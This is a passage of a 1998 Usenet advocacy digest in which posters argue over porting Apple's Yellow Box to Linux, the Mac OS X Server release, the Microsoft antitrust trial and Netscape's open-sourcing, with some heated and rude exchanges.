Date: 12 Dec 98 14:29:00 GMT
Organization: P & L Systems
Message-ID: <36727dac.0@stan.astra.co.uk>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
<3671a203.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-MjvhiupElZ1k@localhost>
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Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-MjvhiupElZ1k@localhost> taiQ wrote:
> Certainly, but I'm trying to prove the doubting thomases that Linux,
> too, should be honoured with YB.
>
Again I ask, which doubting Thomases?
You state later that:
"The vast majority of YB developers comments wrt. Linux as a YB platform have
in my perception been either positive, or constructive at least." so which is
it?
> I might have read more into those arguments than there was, but some
> voices have been pretty good at objecting practically anything Linux
> related.
>
From what I know of most of the ex-NeXT folks, I'd say you've been reading
rather too much into it.
> > > because they're afraid their high-end
> > > custom development deals would suffer were increased competition to
> > > materialize?
> > >
> > Are you serious?! What an asinine suggestion. YB is already open to
> > Windows, and so OPENSTEP developers are already pitted against Microsoft,
and
> > with Carbon on MacOS X will be head to head with existing Apple
developers
> > too. Ex-NeXT ISVs have already said that they welcome competition.
>
> Asinine? I know I was grasping straws trying to understand reasons for
> the apparent Linux-hostility by some NeXT hands, but I certainly
> didn't make that suggestion as a personal attack nor did I claim it as
> a fact.
>
Well it's pretty offensive to OPENSTEP ISVs, particularly since some of us
have made this point on several occasions before.
> Apple should still try attracting those
> it can, but also those among the Linux community.
>
Yet again, maybe I've missed a few posts, but I haven't seen any serious
disagreement with this *on principal*.
> > > Just do a web (news) search for Linux and Apple; searching "Mac OS X"
will
> > not yield much.
> > >
> > Uh huh -- when making claims like this it's as well to try the experiment
> > first:
> >
> >
http://www.altavista.com/cgi-bin/query?pg=aq&text=yes&kl=XX&r=Mac+OS+X&act=s
> > earch&q=&d0=&d1=
> > AltaVista found 2,670,410 Web pages for you.
>
> Right. I apologise for not adding "momentum" after "will not yield
> much". Sheesh. Momentum, not how many times the word "Mac OS X"
> appears on web-based discussion lists.
>
> [...]
> Or did you just ignore both the context and the wording "(news)" in my
> post and went for blood?
>
I looked at what you said; you made a claim and it was disproven -- your
problem?
> I must say I personally prefer rather more constructive ways of engagement.
>
Fine, then say something useful and relevant -- stop setting up strawmen and
inventing arguments that don't exist.
> My opinion? The sooner the Linux platform has something to play, work
> and develop with the better. The discussion here has centered on the
> potential strategic importance and the depth of Linux embracement
> because nobody here knows about Apple's strategy or time frame for
> wider YB push anyway.
>
Some of us know more than others.
> With so many unknowns and variables I'm happy
> just to discuss whether YB for Linux has a business case at all.
>
OK: I'm sure I've already posted this in this thread, but yes, I believe
there is a business case to be made for it, but not yet because Apple clearly
has enough on its hands pitching this stuff right with just McOX-S and
YB/Windows, and because of the changes that will be made to YB in the
not-too-distant future -- primarily the new window server, and the removal of
runtime license fees that that implies.
mmalc.
From: wfoster <wfoster@InfoAve.Net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sat, 12 Dec 1998 10:31:04 -0500
Organization: Info Avenue Internet Services
Message-ID: <36728C38.943247DC@InfoAve.Net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <jpolaski-1212980213230001@d149-109.ce.mediaone.net> <6%qc2.20198$q15.460161@news.san.rr.com>
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NNTP-Posting-Date: 12 Dec 1998 15:26:38 GMT
>
> No upstart OS (or even BeOS, Mac OS X) or Office software (short of maybe
> giving it away a la Star Office) will break MS's hold anytime soon. Also
> Microsoft is ever expanding into other markets which just extends its
> influence.
>
> It essentially controls the hardware, the OS, the APIs, Office software,
> etc., etc. They're moving into interactive toys, high-speed net access
> (cable modem software, investments, etc.)
>
> What's next, MS-brand food? Oh wait, isn't there a MS-brand coffee now?
>
> --Ed.
Hey Ed,
I'll bet that pair of knee-pads you're wearing has holes all in them,
huh?
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: M$: Really the Best Talent?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com>
Message-ID: <36728eb3.0@news.depaul.edu>
Date: 12 Dec 98 15:41:39 GMT
In comp.sys.next.advocacy Loren Petrich <petrich@netcom.com> wrote:
> In article <3671fcae$0$226@nntp1.ba.best.com>,
> Boris <XXXboris@movil.comXXX> wrote:
> >Microsoft has the best technical talent in the industry. Where would that
> threat emerge >from?
> And how is that supposed to be the case?
> That would not be very apparent from the low quality of some of
> its software.
> Consider Linux -- the writers of the Halloween Documents had
> conceded how high-quality it is. It has a reputation for being *much* more
> stable than M$ OSes -- _on_the_same_hardware_. So why was a loose
> community of volunteers able to do what (supposedly) the world's best
> programming talent was unable to do?
Microsoft seems to have a lot of top-level people, and a mass of
fair-to-middling people. Unfortunately, the top-level people
only represent *potential*. Harnessing and directing that potential
is not one of Microsoft's strong points.
Either Microsoft's most talented people are skating along doing
minimal work, or else their efforts are dissipated working on
stupid projects for Bill 'no Vision Thing' Gates. Even if they
do come up with excellent underlying technology, the technical
execution of software based on that technology is bound to suck.
From: Michael <michael@tone.ca>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sat, 12 Dec 1998 10:44:29 -0500
Organization: Styx DTP
Sender: monner@dial02p04.ottawa.storm.ca
Message-ID: <36728F5A.BD54F9E8@tone.ca>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com>
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NNTP-Posting-Date: 12 Dec 1998 15:45:03 GMT
Boris wrote:
> >I don't think it matters who wins. By the very fact that theres an ongoing
> >trial, Microsoft has already modified their behaviour. The longer the trial
> >(and the appeals) go on, the greater the likelihood that some threat to
> >Microsofts empire will emerge that MS can't respond to in the usual way.
> Microsoft has the best technical talent in the industry. Where would that threat emerge
> from?
>
> Boris
Who knows? Who knew in 1980 where the threat to IBMs dominance would come from? And I
think you could say that IBMs technical talent at the time was at least equal to
Microsofts now. Anyway, whats technical talent got to do with it. Real changes always come
from little companies with big ideas coming out of nowhere.
And besides if Microsoft can meet any challenge based on their technical ability, I'm sure
no one would complain. The problem is when they meet challenges by abusing their defacto
monopoly status.
Michael Monner
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 16:32:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <74u5rc$l5b@newsb.netnews.att.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3uI6I.LG7@netcom.com>
Originator: gupta@tlctest
[Sorry, lost the attributions]
>: IMHO, Apple is blowing a major opportunity to partake in the larger
>: Unix community by continuing to refuse to directly support X Window in
>: MacOS X; instead insisting upon a 100% consistent/integrated UI (or as
>: close as they can come to that while supporting both the legacy Carbon
>: API and Yellow Box.)
The 100% consistent/integrated UI is a point of differentiation of
Apple's "Unix" and the other UNICes and might be perceived as a
competitive advantage. There is no point in providing yet-another-UNIX;
Linux has that more than covered.
-arun gupta
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 12 Dec 1998 16:24:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74u5bh$bb4@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU> <74qflc$8po@news1.panix.com> <3670D91D.A02D0BE7@nstar.net>
On Fri, 11 Dec 1998 02:34:37 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Read again. He said "developers", not "users".
And I was talking about Marketshare.
Netscape's marketshare has not increased since it became opensourced.
The approval of the Linux development community of Netscape's actions
are not in question, and are tangential (if not totally irrelevant) to
the discussion.
The support of the Linux community may or may not increase the market
share of Netscape. It is too early to tell. As it stands now, the action
of making netscape opensource has not increased netscapes market.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 16:24:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74u5bd$bb4@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <74r7ct$q4h$1@flotsam.uits.indiana.edu>
On 11 Dec 1998 13:40:45 GMT,
Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>I think what we're looking for is the full set of shell utilities,
OSXS has them. Anything that is missing can be added from the BSD
ports tree. I am willing to bet that within 90 days of OSXS shipping,
you'll be able to download 95% of the most popular tools (not including
X based tools) off the web in ready to install format.
> at
>least csh and ksh,
tcsh and bash close enough?
>the X Windowing System easily available,
You'll have to go 3rd party for now.
> multiple
>password-protected user accounts,
Has it. Fully multi-user just like any other BSD Unix.
>and a directory structure that includes
>things like /bin, /usr, /etc, etc.
Ditto.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 16:24:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74u5bf$bb4@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@erics <3670D945.C707249@nstar.net> <74rn06$sco@newsb.netnews.att.com>
On 11 Dec 1998 18:07:02 GMT, gupta@knim.tm.tta.moc-mirror
after @ <gupta@knim.tm.tta.moc-mirrorafter@> wrote:
>Michael J. Peck <mjpeck@nstar.net> wrote:
>>> > The question Apple faces is
>>> >whether potential sales on those platforms justify the costs of
>>> >porting and support by Apple.
>>> Right now? No. And the costs would be less than or equal to the costs
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> of porting to Linux first.
>>How could you possibly know this?
>Knowing for sure is impossible. The platforms in question are
>Sun and HP, and it was stated in this thread that FoundationKit,
>WOF and EOF already run on these platforms (as part of WebObjects).
>The conjecture in the same message was that elevating this to the
>full YellowBox would be less expensive than porting the YellowBox
^^^^^^^^^^^^^^
>to Linux.
I hate to nitpick on this point, but I stated "less than or equal to"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 12 Dec 1998 16:24:16 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74u5bg$bb4@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com> <slrn7724vs.23m.jedi@dementia.mishnet>
On Fri, 11 Dec 1998 04:45:48 -0800,
jedi@dementia.mishnet <jedi@dementia.mishnet> wrote:
>>My point still holds, making NS opensource has not helped Netscape gain
>>market share.
> However, your point doesn't address whether or not NS
> achieved a net gain relative to what their previous
> course of action would have yeilded.
That would be pure conjecture, either for or against. How do you expect me to
debate what might have happened if Netscape hadn't made their product
opensource with no facts for or against?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 16:24:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74u5bc$bb4@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net>
On Thu, 10 Dec 1998 22:41:16 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>> The fact that there are so few differences is the point.
>The difference is that one has a large installed base and the other
>doesn't. It doesn't matter how similar they are.
Sigh.
<sarcasm>
And of course it is beyond the realm of possibility that some Linux users that
want to try YellowBox on OSX if YB for Linux was not available. They'll look
at YB on MacOSX and ask "Is there a Linux version?" When the answer comes back
as "no" they'll reattach their OS zealotry blinders to avoid being tempted by
some unclean OS that isn't Linux. "We are the Linux users, and Linux is our OS.
To use another OS would be sacrilege!" they'll chant.
</sarcasm>
>> No, I want YB. What it is running on is besides the point, as long as
>> it is a decent open standards based Unix.
<chant>
>What I want is YB running on my machine. My machine runs Linux, and will
>keep running Linux. I would switch to another operating system for a lot
>of reasons, but YB isn't one of them.
</chant>
You have stated that you were unhappy with NeXTStep, and the NeXTStep UI.
You have stated that you are unhappy with Apple.
You have stated that you are not interested in writing to the YB API.
You have stated that you are happy with Linux.
You have stated that you are happy with the KDE and the Qt toolkit.
Now answer this question: Why do you even want to run YB on Linux? It
doesn't sound like it has much of what you are looking for. Based on your
past complaints, I don't think you'll like it at all.
One would wonder why you even bother reading c.s.NeXT.advocacy based on
your past complaints with NeXT, Apple and those related technologies.
From: "BeCritic@email.com" <becritic@REMOVE.ME.email.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com>
Subject: It's not about who's winning but rather what's just.
Message-ID: <eTwc2.3309$C06.1918@news.rdc1.sfba.home.com>
Date: Sat, 12 Dec 1998 16:31:06 GMT
NNTP-Posting-Date: Sat, 12 Dec 1998 08:31:06 PDT
Organization: @Home Network
Justice is what really matters in a case like this, not who's winning. I
often consider myself one of Microsoft's most fervant advocates, yet at the
same time no company is perfect, and I think Microsoft's role in the
industry needs to be disciplined.
The problem is that the DOJ is doing a piss-poor job of doing that because
they don't know jack shit about tech. Microsoft's real pro-self industry
abuse (if you want to call it abuse) is in its NT suite, its underlying
architecture, and, most significantly, its push towards applications
distribution as well as OS distribution. In the latter case, even if they
do publish all of their API documentation for third parties, they know their
operating system better than anyone. Worse, the applications and the
operating system departments can freely ask each other favors to add
features for each other to make a very tied architecture. But in the former
case (NT suite and architectural issues), you get into more bundling and
tech development issues than it's worth, and any decision made would lead to
more "hey, DOJ shouldn't design our producs!!" complaints from Microsoft.
This whole case about Internet Explorer "bundling" is the silliest example
of how up-front,
I-personally-use-this-application-a-lot-so-therefore-it-must
really-be-important software technologies get all the attention and
backoffice / back-end stuff is completely ignored. It also shows how "deep"
the DOJ goes involving tech.
Anyhow, be assured, if you want to own the world, make all the world's
decisions, and never get thrown down, be Microsoft.
Jon
Willy wrote in message <36717987.21076075@news2.asan.com>...
>I think it's looking real good for Microsoft. Here's why:
>
>The DOJ hasn't presented any evidence of actual anti-trust type
>behavior; that is, evidence that Microsoft has bullied people or
>companies into doing what they want. The only evidence they have is
>the integration (or tying, as the DOJ calls it) of IE into Windows.
>However, regardless of MS's intent, the Appellate Court of DC ruled
>that this particular tying is legal.
>
>The DOJ is presenting an amazing amount of irrelevant evidence. For
>instance:
>
>The definition of an OS - Completely irrelevant. There's nothing
>within the laws regarding product tying that takes the definition of a
>product into account. A monopoly can legally tie two products
>together without the two products being viewed as one product.
>
>Apple/Quicktime issue - Completely irrelevant. Even if Microsoft had
>done what was claimed, Microsoft would be guilty of leveraging their
>Office monopoly. However, Office was dropped from the suit. At no
>time did Microsoft ever leverage their OS monopoly against Apple.
>
>AOL agreement - This was a huge mistake for the DOJ. They actually
>state (in their charges) that Microsoft forced AOL into an agreement.
>Then the AOL prez gets on the stand and states that they used IE for
>technical reasons. Further, AOL just bought Netscape and it's clear
>that the agreement between AOL and Microsoft will not be renewed.
>Sure, Microsoft has it all over AOL. Yeah right.
>
>Java? Well, regardless of merits of Microsoft's Java arguments, it
>looks like Microsoft has the Judge in their corner on this one.
>
>The DOJ has also made confusing statements. For instance, they claim
>that the price of the operating system has remained the same, proving
>that MS has a monopoly. But then they claim that IE isn't free, but
>paid for in the price of the OS. Well excuse me, but if I pay for IE
>in the price of Windows, then the price of Windows must be less than
>previous OSes. If the price of the Windows is the same as previous
>OSes, then IE must be free. Sorry DOJ, you can't have it both ways.
>Pick one.
>
>Am I wrong? Where's the evidence? Where's the e-mail from a
>Microsoft VP saying "make AOL use IE" or "force those ISPs to sign an
>exclusive agreement." ? They're just not there.
>
>I predict that Microsoft will lose the trial because of emotion, but
>will win on appeal, where they actually consider the evidence (or lack
>thereof.).
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 16:37:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74u640$bi9@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost>
On 11 Dec 98 19:23:02 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> The fact that there are so few differences is the point.
>For some reason I don't understand what it is you're pointing out
>here. Porting YB frameworks between Linux and versions of BSD would be
>rather easy, right?
Apple would have to write a display engine that interfaces with AppKit
and provides the functional equivalent to eQD on OSX. This is _not_
going to be trivial. (I think Mike Paquette said something about this
a while back, but I am might be wrong)
>Porting *nix apps between Linux and versions of
>BSD would also be rather easy, right?
For non-X apps, Yes. (This could be extended to X Apps with a 3rd party
X server. I know of one that runs on DR2)
> Linux has more momentum and apps
>than the versions of BSD do, right?
I don't see it as "Linux momentum" as much as I see it as "opensource
momentum" Apache, gcc, KDE, perl, et al have all gotten tons of press
and if you ask me, Linux has grown because of those Apps. I don't think
it is the other way around.
>Now, this all sprung from my suggestion that Apple oughta offer "YB
>for Linux commercial packages with Apple Seal Of Approval And
>Compatibility" which got you to point out that Linux and versions of
>BSD are quite similar. How does the similarity affect my suggestion to
>offer commercial Apple-branded YB packages for Linux?
Seeing that OSX will run the opensource software that people use Linux
to run, I don't see why Apple needs to port YB to Linux now.
>> Apple is going to have to build momentum and mindshare for YB no
>> matter what unix is is running one. Do you think Linux user will just
>> forget about GNOME and KDE if YB is ported?
>Is it like Apple ought to be the only game in town before entering it?
No. And that isn't what I said.
>Isn't that niche thinking at its worst? GNOME and KDE are going to
>live side by side for some time to come, even working together e.g.
>via CORBA. I thought YB is CORBA-compatible. Following this line of
>thinking YB for Windows should be scrapped immediately too. Do Mac OS
>X users need to forget about Carbon if YB is to enter the scene?
I think you are missing my point. Porting to Linux isn't going to be
automatic success for Apple. Apple has to build mindshare for YB,
it can not piggyback on Linux mindshare. Porting YB to Linux is not
anywhere near what Apple needs to do to build up an industry around
YB.
>If YB can't offer any tangible benefits to outweigh the benefits of
>GNOME or KDE... then I don't really see the point of YB in the first
>place, except as a prorietary GNOME or KDE clone for the Macintosh.
>However YB is supposed to have unique selling points (USP's).
Very good integration between the user environment, the development
tools and the base OS. I think that is the biggest selling point.
>And I gave you reasons why I'd pick Linux over *BSD. Now you're saying
>Linux's "better apps support, wider hardware support, quickly
>improving OS" mean squat.
I didn't say they mean squat, I just don't think they justify the time
and expense to port to Linux _now_ at the expense of other things Apple
is working on.
Nor do I think Apple can use Linux as an excuse to not improve Apps
support, hardware support or avoid improving the base OS.
>Apparently these aren't valid reasons and
>any "decent open standards based Unix" will, if I read you correctly,
>provide equally fine YB+*nix platform, making YB for Linux
>unnecessary?
I don't think it makes sense to spend the time and effort build YB
on Linux _now_ at the expense properly supporting OSX on the hardware
that Apple has commited to support.
After that, Apple should look at porting YB to other platforms vs the
cost of porting OSX to other platforms; as well as the costs for porting
to Linux et al. THAT SHOULD COME AFTER APPLE HAS MADE GOOD ON ITS
PROMISES.
>Is that what you're trying to say?
I thought I was clear on this.
I understand _why_ you would want Apple to support Linux, I just don't
think Apple can justify an attempt to sell to a portion of a 8-10 million
user market at the expense of reneging on its promises to a 22+ million
user market.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 16:48:03 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <74u6o3$jid$1@remarQ.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net> <adtF3uIvr.Lyw@netcom.com> <74tvpp$1nk$1@jetsam.uits.indiana.edu>
In article <74tvpp$1nk$1@jetsam.uits.indiana.edu>,
Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>I'm a little worried about the directory structure. Traditionally, the
>hard drive icon represents the root directory. If you look at a Unix root
>directory you get /bin, /usr, /etc, /dev, /home, and others. That's sort
>of the equivalent of the System Folder, but it probably isn't what the
>typical user wants to see first thing in the morning. Making it look
>pretty would require either a rearrangement of the directory structure, or
>changing the Finder's paradigm.
NeXT already handled this. There's a text file, .hidden, in a directory
that lists directories that should not be seen by a regular user
via the finder-equivalent. In the root directory case, this file would
have /bin, /dev, and the rest in it. The GUI file browser would not show
any of these directories to the user, but you would still see them
on the command line, or you could turn off a preferences setting and
see them in your GUI.
--
Don McGregor
mcgredo@mbay.net
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-rTROh408WYC2@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Net '94 = Linux '99
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec11151523@slave.doubleu.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 12 Dec 98 16:49:23 GMT
On Fri, 11 Dec 1998 15:15:23, scott@nospam.doubleu.com (Scott Hess)
thought aloud:
> pit@iohk.SPAM-NOT.com (taiQ) writes:
> Question: If it was 1989, DOS was under GPL and needed a decent GUI
> to make it a de-facto desktop standard, would you advice Apple to
> jump on the chance instead staying on their own proprietary
> hardware exclusively? (imagine you owned APPL stock to help you
> consider the far-reaching implications more personally)
>
> Coming from a Unix/X11/NeXTSTEP background, I guess I fail to see that
> the world would be a better place today if MacOS8.5 or whatever were
> the king of the hill rather than Windows98. I would certainly make
> _Apple_ aficionados happier, but it wouldn't roast my goat...
I suspect you failed to imagine owning AAPL (spelling corrected)
stock. ;-)
DOS needed something of a "facial" back then and when Apple refused to
ride the wave (license the Mac OS) the masses ended up with that
whaddyacallit Microsoft OS in its hydratic versions.
Now Linux is riding the curve and this (last?) time Apple has the
goodies to ride with Linux. But again they have their own proprietary
iron and OS strategy to protect. Jobs says he realizes not licensing
Mac OS in the first place was a mistake. What are the odds that
Apple's Protection Mode will again result in "too little, too late"?
Rgds,
--
taiQ
[this space is intentionally blank]
From: billg@microsoft.com (MevDev)
Newsgroups: comp.sys.next.advocacy
Subject: Come visit the NEW NeXT Forever site
Date: Sat, 12 Dec 1998 10:56:06 -0600
Organization: [poster's organization not specified]
Message-ID: <billg-1212981056060001@dial-151.meltel.com>
I set up a NeXT forever site for everyone to benefit from. Please visit it at:
http://www.melrose.k12.mn.us/geek/index.html
If you have additions, subtractions, articles, or anything of use please
email me at : peecee@hempseed.com, or visit my site, there is a link at
the bottom of the page.
Thanks.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: Sat, 12 Dec 1998 16:58:21 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3672a08a.4301575@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com>
On Fri, 11 Dec 1998 23:33:12 GMT, in comp.os.ms-windows.advocacy
sinank@my-dejanews.com wrote:
[gibberish snipped]
What the hell does this crap mean???
From: "MakFu the Great" <nospam@ever.ever>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sat, 12 Dec 1998 11:21:33 -0500
Organization: PSI Public Usenet Link
Message-ID: <74u5aq$ip3$1@usenet1.interramp.com>
References: <36718b58.25637024@news2.asan.com> <3670A97C.MD-0.198.tb7@inquo.net> <F3ty63.CsD@bilver.magicnet.netREMOVETHIS>
Bill Vermillion wrote in message ...
>In article <3670A97C.MD-0.198.tb7@inquo.net>,
>Terry Barton <tb7@inquo.net> wrote:
>>>> > Sure they have, what news have you been watching?
>>>
>>> Actually, I've been following through ZD Network News. The have a
>>> section for the case where they have links to all the court documents.
>>
>>Are you aware of the fact the ZD stands for Ziff Davis Publishing? A
>>Microsoft Owned affilate. Have you also been following it on MSNBC?
>
>ZD was bought by Soft-Bank - the people who also bought Comdex.
>Owned by a Japanese businessman as I recall.
>
>--
>Bill Vermillion bv @ wjv.com
Softbank (a Japan based company) is Japan's largest software company (and
one of the largest in the world) and has been called "The Microsoft of
Japan".
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 12 Dec 1998 17:52:36 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3672a0d2.4373198@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com>
On Sat, 12 Dec 1998 14:06:55 GMT, in comp.os.ms-windows.advocacy
petrich@netcom.com (Loren Petrich) wrote:
>In article <3671fcae$0$226@nntp1.ba.best.com>,
>Boris <XXXboris@movil.comXXX> wrote:
>
>>Microsoft has the best technical talent in the industry. Where would that
>threat emerge >from?
>
> And how is that supposed to be the case?
>
> That would not be very apparent from the low quality of some of
>its software.
>
> Consider Linux -- the writers of the Halloween Documents had
>conceded how high-quality it is. It has a reputation for being *much* more
